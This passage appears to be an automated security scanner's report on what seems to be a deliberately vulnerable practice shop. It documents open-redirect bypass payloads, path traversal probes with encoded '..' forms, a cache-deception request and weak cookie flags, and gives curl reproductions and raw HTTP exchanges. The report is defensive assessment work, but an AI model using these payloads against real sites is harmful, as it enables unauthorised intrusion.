probe an absolute URL to another host payload https://sekuscan.invalid/sks status 302 location https://sekuscan.invalid/sks mechanism HTTP 302 Location: https://sekuscan.invalid/sks note canary host is a non-resolvable .invalid domain
External URL accepted as redirect destination via url access-control/open_redirect · low
url=//sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: //sekuscan.invalid/sks).

probe a protocol-relative URL payload //sekuscan.invalid/sks status 302 location //sekuscan.invalid/sks mechanism HTTP 302 Location: //sekuscan.invalid/sks note canary host is a non-resolvable .invalid domain
External URL accepted as redirect destination via url access-control/open_redirect · low
url=\\sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: \\sekuscan.invalid/sks).

probe backslash_relative payload \\sekuscan.invalid/sks status 302 location \\sekuscan.invalid/sks mechanism HTTP 302 Location: \\sekuscan.invalid/sks note canary host is a non-resolvable .invalid domain
External URL accepted as redirect destination via url access-control/open_redirect · low
url=https://sekumart.sekuripy.hr.sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: https://sekumart.sekuripy.hr.sekuscan.invalid/sks).

probe prefix_bypass payload https://sekumart.sekuripy.hr.sekuscan.invalid/sks status 302 location https://sekumart.sekuripy.hr.sekuscan.invalid/sks mechanism HTTP 302 Location: https://sekumart.sekuripy.hr.sekuscan.invalid/sks note canary host is a non-resolvable .invalid domain

Context

Redirect parameter discovered: url
url looks like a redirect destination parameter and the endpoint is reachable.
Redirect destination rewritten for url
The endpoint redirected to sekuscan.invalid/sks instead of the supplied external URL - some validation is present.
Redirect destination rewritten for url
The endpoint redirected to @sekuscan.invalid/sks instead of the supplied external URL - some validation is present.

low Session handling 1 affected location · /

GET/ Session handling on / confirmed · high confidence BL-030 low

Evidence. A session-looking cookie is set without the flags that keep it out of reach of page scripts and off plaintext connections.

How to fix. Add HttpOnly and Secure to the PHPSESSID cookie; keep SameSite=Lax or make it stricter if the application's flows allow.

What we verified The PHPSESSID cookie was observed without HttpOnly and Secure. Without HttpOnly, JavaScript running in the page can read the value; without Secure, the browser is not instructed to withhold it from plaintext HTTP.

What this can lead toA session identifier that can be read by script, intercepted in transit, or replayed from a URL lets an attacker act as that user. Assessment boundary: No session was hijacked and no token was replayed.

How to fixAdd HttpOnly and Secure to the PHPSESSID cookie; keep SameSite=Lax or make it stricter if the application's flows allow.

location: GET https://sekumart.sekuripy.hr/
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-384 · WASC-37
standards: OWASP Top 10 2025A07:2025 OWASP API Security Top 10 2023API2:2023 OWASP ASVS 5.0.0V7 OWASP WSTG 4.2WSTG-SESS-02, WSTG-SESS-05 ISO/IEC 27001 2022A.8.5 NIST CSF 2.0PR.AA-05 PCI DSS 4.0.18.3.1

Decisive evidence

Protections missing on PHPSESSID confirmed

protection	expected	observed	what that means
HttpOnly	present	MISSING	JavaScript in the page can read the cookie
Secure	present	MISSING	the browser is not told to keep it off plaintext HTTP
SameSite	Lax or stricter	Lax	already set; not part of this finding

protection

expected

observed

what that means

HttpOnly

present

MISSING

JavaScript in the page can read the cookie

Secure

present

MISSING

the browser is not told to keep it off plaintext HTTP

SameSite

Lax or stricter

Lax

already set; not part of this finding

value shape: hex

Reproduce

navigate https://sekumart.sekuripy.hr/ bytes

Detection details — how this was found and rated

checks: auth/session
rating basis: P4 - session cookie lacks protection flags
class: session auth

low Weak cookie flags 1 affected location · /

GEThttps://sekumart.sekuripy.hr/ Weak cookie flags confirmed · high confidence BL-031 low

Evidence. Cookie (session-looking) PHPSESSID is set with: no HttpOnly, no Secure, no __Host-/__Secure- name prefix.

How to fix. Add HttpOnly and Secure to the PHPSESSID cookie; keep SameSite=Lax or make it stricter if the application's flows allow.

What this can lead toMissing flags do not create an attack by themselves; they remove the mitigation that would otherwise limit one. Assessment boundary: No cookie was captured or replayed.

How to fixAdd HttpOnly and Secure to the PHPSESSID cookie; keep SameSite=Lax or make it stricter if the application's flows allow.

location: GET https://sekumart.sekuripy.hr/
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-1004 · WASC-13
standards: OWASP Top 10 2025A02:2025 OWASP ASVS 5.0.0V7 OWASP WSTG 4.2WSTG-SESS-02 ISO/IEC 27001 2022A.8.5, A.8.9 NIST CSF 2.0PR.PS-01 PCI DSS 4.0.18.3.1

Decisive evidence

Protections missing on PHPSESSID confirmed

protection	expected	observed	what that means
HttpOnly	present	MISSING	JavaScript in the page can read the cookie
Secure	present	MISSING	the browser is not told to keep it off plaintext HTTP
SameSite	Lax or stricter	Lax	already set; not part of this finding

protection

expected

observed

what that means

HttpOnly

present

MISSING

JavaScript in the page can read the cookie

Secure

present

MISSING

the browser is not told to keep it off plaintext HTTP

SameSite

Lax or stricter

Lax

already set; not part of this finding

domain: sekumart.sekuripy.hr · path: / · value length: 32 · value shape: hex · looks like a session cookie: yes · browser rejected: no

Additional corroboration — 2

Weak cookie flags on curr
Cookie curr is set with: no Secure.
Weak cookie flags on seclevel
Cookie seclevel is set with: no Secure.

Reproduce

navigate https://sekumart.sekuripy.hr/ bytes

Detection details — how this was found and rated

checks: config/cookies
rating basis: P4 - session cookie without HttpOnly/Secure: amplifies any XSS or network position
class: cookies config

All supporting observations

Weak cookie flags on PHPSESSID config/cookies · low
Cookie (session-looking) PHPSESSID is set with: no HttpOnly, no Secure, no __Host-/__Secure- name prefix.

name PHPSESSID domain sekumart.sekuripy.hr path / secure no HttpOnly flag no SameSite flag Lax value length 32 value shape hex looks like a session cookie yes browser rejected no
Weak cookie flags on curr config/cookies · info
Cookie curr is set with: no Secure.

name curr domain sekumart.sekuripy.hr path / secure no HttpOnly flag no SameSite flag Lax value length 3 value shape opaque-token looks like a session cookie no browser rejected no
Weak cookie flags on seclevel config/cookies · info
Cookie seclevel is set with: no Secure.

name seclevel domain sekumart.sekuripy.hr path / secure no HttpOnly flag no SameSite flag Lax value length 3 value shape opaque-token looks like a session cookie no browser rejected no

Needs validation 59 observed, not proven

Each of these produced a real observation that did not reach proof, or is a hypothesis this run will not test on a live application. The evidence and the exact requests are here, so confirming or dismissing one is a minute of work.

GET/ API surface on / unconfirmed · medium confidence BV-001 medium

Evidence. Endpoint POST / returns a field named token; confirm whether it should be exposed to this caller.

fer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"51262d53301c407c8dcf55b40db78fbb"}'></script></head><body><header><a class='b

How to fix. Decide deliberately whether this should be public. If not, put it behind the same authentication as the API it documents.

What we verified The endpoint is reachable and returns the content shown below.

What this can lead toAn API description or an unauthenticated endpoint tells an attacker where to look; whether that matters depends on whether it was meant to be public. Assessment boundary: The endpoint was read, not exercised beyond that.

How to fixDecide deliberately whether this should be public. If not, put it behind the same authentication as the API it documents.

location: GET https://sekumart.sekuripy.hr/?rest_route=/batch/v1
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-200 · WASC-13
standards: OWASP Top 10 2025A02:2025 OWASP API Security Top 10 2023API9:2023 OWASP ASVS 5.0.0V4 OWASP WSTG 4.2WSTG-CONF-02 ISO/IEC 27001 2022A.8.26 NIST CSF 2.0ID.AM-02

Decisive evidence

Sensitive-looking field in API response (token) unconfirmed

Endpoint POST / returns a field named token; confirm whether it should be exposed to this caller.

field

token

status

200

note

values are redacted by the agent

fer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='b

Reproduce

request POST https://sekumart.sekuripy.hr/?rest_route=/batch/v1 bytes

Detection details — how this was found and rated

checks: api/rest
rating basis: P3 - a response field named like a credential; a live secret would be P1, but the match is on the field name, not on a verified value
class: rest api

Context

API endpoint discovered: POST /
JSON/REST endpoint observed in traffic.

GET/image.php query string · file unconfirmed · medium confidence BV-002 medium

Evidence. Asking for assets/sks1smomi/../shipping.txt returned exactly what assets/shipping.txt returned (normalised, double_encoded, reparented), while a path through the same non-existent directory *without* the .. did not. Something collapsed the .. before opening the file, and only a path resolver does that - so this value reaches one. Nothing outside the application's own document root was requested: the file asked for is the one it had already served. The %2e%2e form worked as well, which takes a second decoding pass before the path is resolved - so something in front of the resolver is decoding too, and a filter that inspects the value as it arrives would not see a traversal at all.

Why this proves it. The middle request returned exactly what the first did and the third did not, so something collapsed sks1smomi/.. before opening the file - which only a path resolver does. no attempt was made to leave the document root, so whether the resolver is confined is unknown

How to fix. Do not join user input onto a path. Map the input to an allowed value through a lookup table, or - if a path is unavoidable - resolve it to an absolute canonical path and reject it unless it is still inside the intended directory. Stripping ../ is not a fix: the encoded form arrives after decoding, and this check tests for exactly that.

What we verified A path through a directory that does not exist returned the same bytes as the direct request once a .. was added, and did not without it. The value is being joined onto a filesystem path and normalised.

What this can lead toWhere a resolver is reachable, the usual consequences are reading files the application did not mean to serve and, on a write path, placing them. Which of those apply depends on how the path is anchored. Assessment boundary: No attempt was made to leave the document root. Nothing outside the application's own content was requested - the file asked for is the one it had already served - so whether the resolver is confined is not established here.

How to fixDo not join user input onto a path. Map the input to an allowed value through a lookup table, or - if a path is unavoidable - resolve it to an absolute canonical path and reject it unless it is still inside the intended directory. Stripping ../ is not a fix: the encoded form arrives after decoding, and this check tests for exactly that.

location: GET https://sekumart.sekuripy.hr/image.php proved with 2 payloads
input: file in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

The response follows what we injected unconfirmed

role	sent	response	why it is here
control	assets/shipping.txt	· bytes	the file the application already served us
test	sks1smomi/../assets/shipping.txt	· bytes	the same file, through a directory that cannot exist
negative control	sks1smomi/assets/shipping.txt	· bytes	the same non-existent directory, without the `..`

role

sent

response

why it is here

control

assets/shipping.txt

· bytes

the file the application already served us

test

sks1smomi/../assets/shipping.txt

· bytes

the same file, through a directory that cannot exist

negative control

sks1smomi/assets/shipping.txt

· bytes

the same non-existent directory, without the `..`

Additional corroboration — 1

file reaches a resolver, but no escape was reached
100 ways of writing .. were tried at every depth on the ladder, in the spellings real filters leave behind - doubled, percent-encoded, double-encoded, backslash - and none of them reached a file outside the application. The resolver looks confined: joined under a fixed prefix, chrooted, or filtering in a way none of these forms defeats. The normalisation finding still stands; the escape does not.

Reproduce

request GET https://sekumart.sekuripy.hr/image.php?file=assets/shipping.txt bytes
normalised GET https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/../shipping.txt HTTP 200 3098 bytes
control GET https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/shipping.txt HTTP 200 3024 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/../shipping.txt'

GET /image.php?file=assets/sks1smomi/../shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/shipping.txt

request

GET /image.php?file=assets/shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1493
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/shipping.txt

request

GET /image.php?file=assets/shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1493
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

normalised HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/../shipping.txt

request

GET /image.php?file=assets/sks1smomi/../shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1493
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

double_encoded HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/%2e%2e/shipping.txt

request

GET /image.php?file=assets/sks1smomi/%2e%2e/shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1493
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:56 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

control HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/sks1smomi/shipping.txt

request

GET /image.php?file=assets/sks1smomi/shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1449
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

reparented HTTP 200 https://sekumart.sekuripy.hr/image.php?file=assets/../assets/shipping.txt

request

GET /image.php?file=assets/../assets/shipping.txt HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1493
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — attachments</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'>

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P3 - input reaches a filesystem path resolver, proven by normalisation rather than by reading a target file
class: traversal injection

All supporting observations

Path traversal: file is resolved as a filesystem path injection/traversal · medium
Asking for assets/sks1smomi/../shipping.txt returned exactly what assets/shipping.txt returned (normalised, double_encoded, reparented), while a path through the same non-existent directory *without* the .. did not. Something collapsed the .. before opening the file, and only a path resolver does that - so this value reaches one. Nothing outside the application's own document root was requested: the file asked for is the one it had already served. The %2e%2e form worked as well, which takes a second decoding pass before the path is resolved - so something in front of the resolver is decoding too, and a filter that inspects the value as it arrives would not see a traversal at all.

param file value assets/shipping.txt token 1smomi match byte-identical control differed yes not attempted no attempt was made to leave the document root, so whether the resolver is confined is unknown
file reaches a resolver, but no escape was reached injection/traversal · info
100 ways of writing .. were tried at every depth on the ladder, in the spellings real filters leave behind - doubled, percent-encoded, double-encoded, backslash - and none of them reached a file outside the application. The resolver looks confined: joined under a fixed prefix, chrooted, or filtering in a way none of these forms defeats. The normalisation finding still stands; the escape does not.

probes 100 note only declared non-sensitive canaries are read at this tier

GET/account.php/sks-deception-z2r5t8ah.css Web cache poisoning / deception on /account.php/sks-deception-z2r5t8ah.css unconfirmed · medium confidence BV-003 medium

Evidence. Appending .css after the real path returned the same page (similarity 1.00) with HTTP 200, not a 404 or a redirect to login. Many CDN and reverse-proxy configurations cache by extension regardless of Cache-Control, which would store this authenticated response under a URL that needs no authentication to request. No caching-layer header was observed on this response, so whether a CDN in front of this deployment actually caches by extension is untested.

How to fix. Strip or normalise X-Forwarded-Host/X-Forwarded-Proto at the trusted edge rather than trusting them in application code; add any header the response depends on to Vary; configure the CDN/proxy to cache by Content-Type, not URL extension, so an authenticated route cannot be cached by appending .css to its path.

What we verified An unkeyed header (or a static-looking suffix on an authenticated page) changed or reproduced a response that a shared caching layer would store and replay to the next visitor of the same URL.

What this can lead toThe next request for that URL - from anyone - can receive the poisoned or leaked response until the cache entry expires, turning one crafted request into an attack on every subsequent visitor. Assessment boundary: No second, unauthenticated vantage point confirmed a poisoned response was actually served to someone else; this is the precondition, observed from one session.

How to fixStrip or normalise X-Forwarded-Host/X-Forwarded-Proto at the trusted edge rather than trusting them in application code; add any header the response depends on to Vary; configure the CDN/proxy to cache by Content-Type, not URL extension, so an authenticated route cannot be cached by appending .css to its path.

location: GET https://sekumart.sekuripy.hr/account.php/sks-deception-z2r5t8ah.css
authentication: none - reachable anonymously
classification: CWE-441
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V13 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Authenticated page served under a static-looking path unconfirmed

Appending .css after the real path returned the same page (similarity 1.00) with HTTP 200, not a 404 or a redirect to login. Many CDN and reverse-proxy configurations cache by extension regardless of Cache-Control, which would store this authenticated response under a URL that needs no authentication to request. No caching-layer header was observed on this response, so whether a CDN in front of this deployment actually caches by extension is untested.

similarity

status

200

Reproduce

baseline GET https://sekumart.sekuripy.hr/account.php HTTP 200 2850 bytes
suffixed GET https://sekumart.sekuripy.hr/account.php/sks-deception-z2r5t8ah.css HTTP 200 2850 bytes

suffixed

curl -i -X GET 'https://sekumart.sekuripy.hr/account.php/sks-deception-z2r5t8ah.css'

GET /account.php/sks-deception-z2r5t8ah.css HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 2 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/account.php

request

GET /account.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1372
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — account</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

suffixed HTTP 200 https://sekumart.sekuripy.hr/account.php/sks-deception-z2r5t8ah.css

request

GET /account.php/sks-deception-z2r5t8ah.css HTTP/1.1
Host: sekumart.sekuripy.hr

